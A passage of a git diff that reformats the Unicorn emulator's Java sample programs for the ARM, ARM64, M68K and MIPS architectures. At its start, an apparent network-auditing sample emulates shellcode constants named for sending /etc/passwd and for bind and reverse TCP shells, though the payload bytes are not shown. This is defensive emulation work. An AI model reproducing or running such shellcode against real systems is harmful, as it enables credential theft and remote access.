code.length, 0, 0); - - // now print out some registers - System.out.printf(">>> Emulation done\n"); + // emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("ERROR: %s\n", uex.getMessage()); - } + // now print out some registers + System.out.printf(">>> Emulation done\n"); - fd_chains.print_report(); - } - - public static void main(String args[]) { - test_i386(X86_SEND_ETCPASSWD); - test_i386(X86_BIND_TCP); - test_i386(X86_REVERSE_TCP); - test_i386(X86_REVERSE_TCP_2); - } + } catch (UnicornException uex) { + System.out.printf("ERROR: %s\n", uex.getMessage()); + } + + fd_chains.print_report(); + } + + public static void main(String args[]) { + test_i386(X86_SEND_ETCPASSWD); + test_i386(X86_BIND_TCP); + test_i386(X86_REVERSE_TCP); + test_i386(X86_REVERSE_TCP_2); + } } diff --git a/bindings/java/samples/Sample_arm.java b/bindings/java/samples/Sample_arm.java index 4d85fb7d..67ba9a6a 100644 --- a/bindings/java/samples/Sample_arm.java +++ b/bindings/java/samples/Sample_arm.java @@ -7,124 +7,125 @@ import unicorn.*; public class Sample_arm { - // code to be emulated - public static final byte[] ARM_CODE = {55,0,(byte)0xa0,(byte)0xe3,3,16,66,(byte)0xe0}; // mov r0, #0x37; sub r1, r2, r3 - public static final byte[] THUMB_CODE = {(byte)0x83, (byte)0xb0}; // sub sp, #0xc - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; + // code to be emulated + public static final byte[] ARM_CODE = + { 55, 0, (byte) 0xa0, (byte) 0xe3, 3, 16, 66, (byte) 0xe0 }; // mov r0, #0x37; sub r1, r2, r3 + public static final byte[] THUMB_CODE = { (byte) 0x83, (byte) 0xb0 }; // sub sp, #0xc - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // memory address where emulation starts + public static final int ADDRESS = 0x10000; - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) - { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_arm() - { - - Long r0 = 0x1234L; // R0 register - Long r2 = 0x6789L; // R1 register - Long r3 = 0x3333L; // R2 register - Long r1; // R1 register - - System.out.print("Emulate ARM code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, ARM_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM_REG_R0, r0); - u.reg_write(Unicorn.UC_ARM_REG_R2, r2); - u.reg_write(Unicorn.UC_ARM_REG_R3, r3); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r0 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R0); - r1 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R1); - System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue())); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - static void test_thumb() - { - - Long sp = 0x1234L; // R0 register - - System.out.print("Emulate THUMB code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, THUMB_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM_REG_SP, sp); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - sp = (Long)u.reg_read(Unicorn.UC_ARM_REG_SP); - System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_arm(); - System.out.print("==========================\n"); - test_thumb(); - } + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + } + } + + static void test_arm() { + + Long r0 = 0x1234L; // R0 register + Long r2 = 0x6789L; // R1 register + Long r3 = 0x3333L; // R2 register + Long r1; // R1 register + + System.out.print("Emulate ARM code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, ARM_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM_REG_R0, r0); + u.reg_write(Unicorn.UC_ARM_REG_R2, r2); + u.reg_write(Unicorn.UC_ARM_REG_R3, r3); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r0 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R0); + r1 = (Long) u.reg_read(Unicorn.UC_ARM_REG_R1); + System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue())); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + static void test_thumb() { + + Long sp = 0x1234L; // R0 register + + System.out.print("Emulate THUMB code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, THUMB_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM_REG_SP, sp); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + sp = (Long) u.reg_read(Unicorn.UC_ARM_REG_SP); + System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue())); + + u.close(); + } + + public static void main(String args[]) { + test_arm(); + System.out.print("==========================\n"); + test_thumb(); + } } diff --git a/bindings/java/samples/Sample_arm64.java b/bindings/java/samples/Sample_arm64.java index 0f7e5f32..82e79fcc 100644 --- a/bindings/java/samples/Sample_arm64.java +++ b/bindings/java/samples/Sample_arm64.java @@ -28,88 +28,90 @@ import unicorn.*; public class Sample_arm64 { - // code to be emulated - public static final byte[] ARM_CODE = {-85,1,15,-117}; // add x11, x13, x15 - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // code to be emulated + public static final byte[] ARM_CODE = { -85, 1, 15, -117 }; // add x11, x13, x15 - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_arm64() - { - - Long x11 = 0x1234L; // X11 register - Long x13 = 0x6789L; // X13 register - Long x15 = 0x3333L; // X15 register - - System.out.print("Emulate ARM64 code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, ARM_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM64_REG_X11, x11); - u.reg_write(Unicorn.UC_ARM64_REG_X13, x13); - u.reg_write(Unicorn.UC_ARM64_REG_X15, x15); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - x11 = (Long)u.reg_read(Unicorn.UC_ARM64_REG_X11); - System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_arm64(); - } + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + } + } + + static void test_arm64() { + + Long x11 = 0x1234L; // X11 register + Long x13 = 0x6789L; // X13 register + Long x15 = 0x3333L; // X15 register + + System.out.print("Emulate ARM64 code\n"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, ARM_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_ARM64_REG_X11, x11); + u.reg_write(Unicorn.UC_ARM64_REG_X13, x13); + u.reg_write(Unicorn.UC_ARM64_REG_X15, x15); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + x11 = (Long) u.reg_read(Unicorn.UC_ARM64_REG_X11); + System.out.print(String.format(">>> X11 = 0x%x\n", x11.longValue())); + + u.close(); + } + + public static void main(String args[]) { + test_arm64(); + } } diff --git a/bindings/java/samples/Sample_m68k.java b/bindings/java/samples/Sample_m68k.java index f4658aff..9d530084 100644 --- a/bindings/java/samples/Sample_m68k.java +++ b/bindings/java/samples/Sample_m68k.java @@ -28,150 +28,161 @@ import unicorn.*; public class Sample_m68k { - // code to be emulated - public static final byte[] M68K_CODE = {118,-19}; // movq #-19, %d3 - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // code to be emulated + public static final byte[] M68K_CODE = { 118, -19 }; // movq #-19, %d3 - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_m68k() - { - Long d0 = 0x0000L; // d0 data register - Long d1 = 0x0000L; // d1 data register - Long d2 = 0x0000L; // d2 data register - Long d3 = 0x0000L; // d3 data register - Long d4 = 0x0000L; // d4 data register - Long d5 = 0x0000L; // d5 data register - Long d6 = 0x0000L; // d6 data register - Long d7 = 0x0000L; // d7 data register + // memory address where emulation starts + public static final int ADDRESS = 0x10000; - Long a0 = 0x0000L; // a0 address register - Long a1 = 0x0000L; // a1 address register - Long a2 = 0x0000L; // a2 address register - Long a3 = 0x0000L; // a3 address register - Long a4 = 0x0000L; // a4 address register - Long a5 = 0x0000L; // a5 address register - Long a6 = 0x0000L; // a6 address register - Long a7 = 0x0000L; // a6 address register + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } - Long pc = 0x0000L; // program counter - Long sr = 0x0000L; // status register - - System.out.print("Emulate M68K code\n"); - - // Initialize emulator in M68K mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, M68K_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_M68K_REG_D0, d0); - u.reg_write(Unicorn.UC_M68K_REG_D1, d1); - u.reg_write(Unicorn.UC_M68K_REG_D2, d2); - u.reg_write(Unicorn.UC_M68K_REG_D3, d3); - u.reg_write(Unicorn.UC_M68K_REG_D4, d4); - u.reg_write(Unicorn.UC_M68K_REG_D5, d5); - u.reg_write(Unicorn.UC_M68K_REG_D6, d6); - u.reg_write(Unicorn.UC_M68K_REG_D7, d7); - - u.reg_write(Unicorn.UC_M68K_REG_A0, a0); - u.reg_write(Unicorn.UC_M68K_REG_A1, a1); - u.reg_write(Unicorn.UC_M68K_REG_A2, a2); - u.reg_write(Unicorn.UC_M68K_REG_A3, a3); - u.reg_write(Unicorn.UC_M68K_REG_A4, a4); - u.reg_write(Unicorn.UC_M68K_REG_A5, a5); - u.reg_write(Unicorn.UC_M68K_REG_A6, a6); - u.reg_write(Unicorn.UC_M68K_REG_A7, a7); - - u.reg_write(Unicorn.UC_M68K_REG_PC, pc); - u.reg_write(Unicorn.UC_M68K_REG_SR, sr); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - d0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D0); - d1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D1); - d2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D2); - d3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D3); - d4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D4); - d5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D5); - d6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D6); - d7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_D7); + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } - a0 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A0); - a1 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A1); - a2 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A2); - a3 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A3); - a4 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A4); - a5 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A5); - a6 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A6); - a7 = (Long)u.reg_read(Unicorn.UC_M68K_REG_A7); - - pc = (Long)u.reg_read(Unicorn.UC_M68K_REG_PC); - sr = (Long)u.reg_read(Unicorn.UC_M68K_REG_SR); - - System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", a0.intValue(), d0.intValue())); - System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", a1.intValue(), d1.intValue())); - System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", a2.intValue(), d2.intValue())); - System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", a3.intValue(), d3.intValue())); - System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", a4.intValue(), d4.intValue())); - System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", a5.intValue(), d5.intValue())); - System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6.intValue(), d6.intValue())); - System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7.intValue(), d7.intValue())); - System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue())); - System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_m68k(); - } + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + } + } + + static void test_m68k() { + Long d0 = 0x0000L; // d0 data register + Long d1 = 0x0000L; // d1 data register + Long d2 = 0x0000L; // d2 data register + Long d3 = 0x0000L; // d3 data register + Long d4 = 0x0000L; // d4 data register + Long d5 = 0x0000L; // d5 data register + Long d6 = 0x0000L; // d6 data register + Long d7 = 0x0000L; // d7 data register + + Long a0 = 0x0000L; // a0 address register + Long a1 = 0x0000L; // a1 address register + Long a2 = 0x0000L; // a2 address register + Long a3 = 0x0000L; // a3 address register + Long a4 = 0x0000L; // a4 address register + Long a5 = 0x0000L; // a5 address register + Long a6 = 0x0000L; // a6 address register + Long a7 = 0x0000L; // a6 address register + + Long pc = 0x0000L; // program counter + Long sr = 0x0000L; // status register + + System.out.print("Emulate M68K code\n"); + + // Initialize emulator in M68K mode + Unicorn u = + new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, M68K_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_M68K_REG_D0, d0); + u.reg_write(Unicorn.UC_M68K_REG_D1, d1); + u.reg_write(Unicorn.UC_M68K_REG_D2, d2); + u.reg_write(Unicorn.UC_M68K_REG_D3, d3); + u.reg_write(Unicorn.UC_M68K_REG_D4, d4); + u.reg_write(Unicorn.UC_M68K_REG_D5, d5); + u.reg_write(Unicorn.UC_M68K_REG_D6, d6); + u.reg_write(Unicorn.UC_M68K_REG_D7, d7); + + u.reg_write(Unicorn.UC_M68K_REG_A0, a0); + u.reg_write(Unicorn.UC_M68K_REG_A1, a1); + u.reg_write(Unicorn.UC_M68K_REG_A2, a2); + u.reg_write(Unicorn.UC_M68K_REG_A3, a3); + u.reg_write(Unicorn.UC_M68K_REG_A4, a4); + u.reg_write(Unicorn.UC_M68K_REG_A5, a5); + u.reg_write(Unicorn.UC_M68K_REG_A6, a6); + u.reg_write(Unicorn.UC_M68K_REG_A7, a7); + + u.reg_write(Unicorn.UC_M68K_REG_PC, pc); + u.reg_write(Unicorn.UC_M68K_REG_SR, sr); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + d0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D0); + d1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D1); + d2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D2); + d3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D3); + d4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D4); + d5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D5); + d6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D6); + d7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D7); + + a0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A0); + a1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A1); + a2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A2); + a3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A3); + a4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A4); + a5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A5); + a6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A6); + a7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A7); + + pc = (Long) u.reg_read(Unicorn.UC_M68K_REG_PC); + sr = (Long) u.reg_read(Unicorn.UC_M68K_REG_SR); + + System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n", + a0.intValue(), d0.intValue())); + System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n", + a1.intValue(), d1.intValue())); + System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n", + a2.intValue(), d2.intValue())); + System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n", + a3.intValue(), d3.intValue())); + System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n", + a4.intValue(), d4.intValue())); + System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n", + a5.intValue(), d5.intValue())); + System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", + a6.intValue(), d6.intValue())); + System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", + a7.intValue(), d7.intValue())); + System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue())); + System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue())); + + u.close(); + } + + public static void main(String args[]) { + test_m68k(); + } } diff --git a/bindings/java/samples/Sample_mips.java b/bindings/java/samples/Sample_mips.java index e338864f..0f0bd8c5 100644 --- a/bindings/java/samples/Sample_mips.java +++ b/bindings/java/samples/Sample_mips.java @@ -28,124 +28,127 @@ import unicorn.*; public class Sample_mips { - // code to be emulated - public static final byte[] MIPS_CODE_EB = {52,33,52,86}; - public static final byte[] MIPS_CODE_EL = {86,52,33,52}; + // code to be emulated + public static final byte[] MIPS_CODE_EB = { 52, 33, 52, 86 }; + public static final byte[] MIPS_CODE_EL = { 86, 52, 33, 52 }; - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // memory address where emulation starts + public static final int ADDRESS = 0x10000; - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_mips_eb() - { - - Long r1 = 0x6789L; // R1 register - - System.out.print("Emulate MIPS code (big-endian)\n"); - - // Initialize emulator in MIPS mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, MIPS_CODE_EB); - - // initialize machine registers - u.reg_write(Unicorn.UC_MIPS_REG_1, r1); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - static void test_mips_el() - { - Long r1 = 0x6789L; // R1 register - - System.out.print("===========================\n"); - System.out.print("Emulate MIPS code (little-endian)\n"); - - // Initialize emulator in MIPS mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, MIPS_CODE_EL); - - // initialize machine registers - u.reg_write(Unicorn.UC_MIPS_REG_1, r1); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_mips_eb(); - test_mips_el(); - } + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + } + } + + static void test_mips_eb() { + + Long r1 = 0x6789L; // R1 register + + System.out.print("Emulate MIPS code (big-endian)\n"); + + // Initialize emulator in MIPS mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + 